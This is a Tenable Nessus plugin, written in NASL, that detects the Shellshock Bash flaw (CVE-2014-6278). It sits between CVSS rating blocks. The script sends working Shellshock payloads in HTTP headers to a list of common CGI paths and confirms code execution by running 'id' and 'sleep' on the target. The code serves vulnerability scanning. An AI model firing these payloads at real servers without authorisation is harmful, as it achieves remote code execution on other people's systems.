CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
99.9%
The remote web server is affected by a command injection vulnerability in GNU Bash known as Shellshock. The vulnerability is due to the processing of trailing strings after function definitions in the values of environment variables. This allows a remote attacker to execute arbitrary code via environment variable manipulation depending on the configuration of the system.
Note that this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(82581);
script_version("1.14");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2014-6278");
script_bugtraq_id(70166);
script_xref(name:"IAVA", value:"2014-A-0142");
script_name(english:"GNU Bash Incomplete Fix Remote Code Injection (Shellshock)");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a remote code execution
vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote web server is affected by a command injection vulnerability
in GNU Bash known as Shellshock. The vulnerability is due to the
processing of trailing strings after function definitions in the
values of environment variables. This allows a remote attacker to
execute arbitrary code via environment variable manipulation depending
on the configuration of the system.
Note that this vulnerability exists because of an incomplete fix for
CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.");
script_set_attribute(attribute:"see_also", value:"http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html");
# https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?dacf7829");
script_set_attribute(attribute:"solution", value:
"Apply the referenced patch.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-6278");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploit_framework_core", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'CUPS Filter Bash Environment Variable Code Injection (Shellshock)');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"in_the_news", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2014/09/26");
script_set_attribute(attribute:"patch_publication_date", value:"2014/09/28");
script_set_attribute(attribute:"plugin_publication_date", value:"2015/04/06");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:gnu:bash");
script_set_attribute(attribute:"stig_severity", value:"I");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl", "webmirror.nasl");
script_require_ports("Services/www", 80);
script_timeout(480);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
# Do not use get_http_port() here
port = get_kb_item("Services/www");
if (!port) port = 80;
if (!get_port_state(port)) audit(AUDIT_PORT_CLOSED, port);
# Do not test broken web servers
broken_web = get_kb_item("Services/www/" + port + "/broken");
# Do not test CIM servers as HTTP GET requests can lead to FP situations
if (port == get_kb_item("Services/cim_listener") || broken_web)
exit(0, 'The web server on port ' +port+ ' is broken.');
cgis = make_list('/');
cgis1 = get_kb_list('www/'+port+'/cgi');
if (!isnull(cgis1)) cgis = make_list(cgis, cgis1);
cgidirs = get_kb_list('www/'+port+'/content/extensions/*');
if (!isnull(cgidirs) && !thorough_tests)
{
foreach dir (cgidirs)
{
if (preg(pattern:'^/+cgi-bin', string:dir, icase:TRUE))
cgis = make_list(dir, cgis);
}
}
# Add common cgi scripts
cgis = list_uniq(make_list(cgis,
"/_mt/mt.cgi",
"/admin.cgi",
"/administrator.cgi",
"/buglist.cgi",
"/cgi/mid.cgi",
"/cgi-bin/admin",
"/cgi-bin/admin.cgi",
"/cgi-bin/admin.pl",
"/cgi-bin/administrator",
"/cgi-bin/administrator.cgi",
"/cgi-bin/agorn.cgi",
"/cgi-bin/bugreport.cgi",
"/cgi-bin/cart.cgi",
"/cgi-bin/clwarn.cgi",
"/cgi-bin/count.cgi",
"/cgi-bin/Count.cgi",
"/cgi-bin/faqmanager.cgi",
"/cgi-bin/FormHandler.cgi",
"/cgi-bin/FormMail.cgi",
"/cgi-bin/guestbook.cgi",
"/cgi-bin/help.cgi",
"/cgi-bin/hi",
"/cgi-bin/index.cgi",
"/cgi-bin/index.pl",
"/cgi-bin/index.sh",
"/cgi-bin/login",
"/cgi-bin/login.cgi",
"/cgi-bin/mailit.pl",
"/cgi-bin/mt/mt-check.cgi",
"/cgi-bin/mt/mt-load.cgi",
"/cgi-bin/mt-static/mt-check.cgi",
"/cgi-bin/mt-static/mt-load.cgi",
"/cgi-bin/ncbook/book.cgi",
"/cgi-bin/printenv",
"/cgi-bin/printenv.cgi",
"/cgi-bin/quickstore.cgi",
"/cgi-bin/search",
"/cgi-bin/search.cgi",
"/cgi-bin/search/search.cgi",
"/cgi-bin/status",
"/cgi-bin/status.cgi",
"/cgi-bin/test.cgi",
"/cgi-bin/test.sh",
"/cgi-bin/test-cgi",
"/cgi-bin/upload.cgi",
"/cgi-bin/urlcount.cgi",
"/cgi-bin/viewcvs.cgi",
"/cgi-bin/wa",
"/cgi-bin/wa.cgi",
"/cgi-bin/wa.exe",
"/cgi-bin/whois.cgi",
"/cgi-bin-sdb/printenv",
"/cgi-mod/index.cgi",
"/cgi-sys/defaultwebpage.cgi",
"/cgi-sys/entropysearch.cgi",
"/index.cgi",
"/index.pl",
"/index.sh",
"/nph-mr.cgi",
"/query.cgi",
"/session_login.cgi",
"/show_bug.cgi",
"/test",
"/test.cgi",
"/ucsm/isSamInstalled.cgi",
"/whois.cgi",
"/wp-login.php",
"/wwwadmin.cgi",
"/wwwboard.cgi",
"/xampp/cgi.cgi"));
if (thorough_tests) exts = make_list("*");
else exts = make_list("cgi", "php", "php5", "pl", "py", "rb", "sh", "java", "jsp", "action", "do", "shtml");
foreach ext (exts)
{
cgis2 = get_kb_list('www/'+port+'/content/extensions/'+ext);
if (!isnull(cgis2)) cgis = list_uniq(make_list(cgis2, cgis));
}
if ( thorough_tests )
headers = make_list('User-Agent', 'Referrer', 'Cookie');
else
headers = make_list('User-Agent');
script = SCRIPT_NAME - ".nasl";
int1 = rand() % 100;
int2 = rand() % 100;
EXPLOIT_TYPE_WAIT = 0;
EXPLOIT_TYPE_STDOUT = 1;
exploits = make_list();
n = 0;
exploits[n++] = make_array(
"type", EXPLOIT_TYPE_STDOUT,
"payload", '() { _; } >_[$($())] { echo Content-Type: text/plain ; echo ; echo "' + script+' Output : $((' + int1 + '+'+int2+'))"; }',
"pattern", script + " Output : " + int(int1 + int2),
"followup", "() { _; } >_[$($())] { echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id; }"
);
if (report_paranoia == 2)
{
exploits[n++] = make_array(
"type", EXPLOIT_TYPE_WAIT,
"payload", '() { _; } >_[$($())] { echo; /bin/sleep $WAITTIME; }'
);
}
vuln = FALSE;
WaitTime = 5;
foreach cgi (cgis)
{
foreach exploit ( exploits )
{
foreach header (headers)
{
then = unixtime();
if ( exploit["type"] == EXPLOIT_TYPE_WAIT && report_paranoia == 2 )
{
http_set_read_timeout(WaitTime * 2);
payload = str_replace(find:"$WAITTIME", replace:string(WaitTime), string:exploit["payload"]);
}
else payload = exploit["payload"];
res = http_send_recv3(
method : "GET",
port : port,
item : cgi,
add_headers : make_array(header, payload),
exit_on_fail : TRUE
);
now = unixtime();
# Check that we added our two random numbers and get our expected output
# ie : int1 = 40, int2 = 65 output should be the following :
# bash_cve_2014_6271_rce Output : 105
if (exploit["type"] == EXPLOIT_TYPE_STDOUT && exploit["pattern"] >< res[2])
{
vuln = TRUE;
attack_req = http_last_sent_request();
match = pregmatch(pattern:"("+exploit["pattern"]+")", string:res[2]);
if (isnull(match) || empty_or_null(match[1])) output = chomp(res[2]);
else output = match[1];
# Try and run id if our above request was a success
res2 = http_send_recv3(
method : "GET",
port : port,
item : cgi,
add_headers : make_array(header, exploit["followup"]),
exit_on_fail : TRUE
);
if (egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res2[2]))
{
attack_req = http_last_sent_request();
match2 = pregmatch(pattern:"(uid=[0-9]+.*gid=[0-9]+.*)",string:res2[2]);
if (isnull(match2) || empty_or_null(match2[1])) output = chomp(res2[2]);
else output = match2[1];
}
}
else if ( report_paranoia == 2 && exploit["type"] == EXPLOIT_TYPE_WAIT && now - then >= WaitTime )
{
InitialDelta = now - then;
attack_req = http_last_sent_request();
output = "The request produced a wait of " + InitialDelta + " seconds";
WaitTime1 = WaitTime;
vuln = TRUE;
# Test again with sleep set to 5, 10, and 15
wtimes = make_list(5, 10, 15);
for ( i = 0 ; i < max_index(wtimes) && vuln == TRUE; i ++ )
{
WaitTime1 = wtimes[i];
http_set_read_timeout(WaitTime1 * 2);
payload = str_replace(find:"$WAITTIME", replace:string(WaitTime1), string:exploit["payload"]);
then1 = unixtime();
res = http_send_recv3(method : "GET", port : port, item : cgi, add_headers : make_array(header, payload), exit_on_fail : FALSE);
now1 = unixtime();
if ( now1 - then1 >= WaitTime1 && now1 - then1 <= (WaitTime1 + 5 ))
{
attack_req = http_last_sent_request();
InitialDelta = now1 - then1;
output = "The request produced a wait of " + InitialDelta + " seconds";
continue;
}
else
{
vuln = FALSE;
}
}
}
if (vuln) break;
}
if (vuln) break;
}
if (vuln) break;
}
if (!vuln) exit(0, "The web server listening on port "+port+" is not affected.");
security_report_v4(
port : port,
severity : SECURITY_HOLE,
generic : TRUE,
line_limit : 2,
request : make_list(attack_req),
output : chomp(output)
);
exit(0);
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
99.9%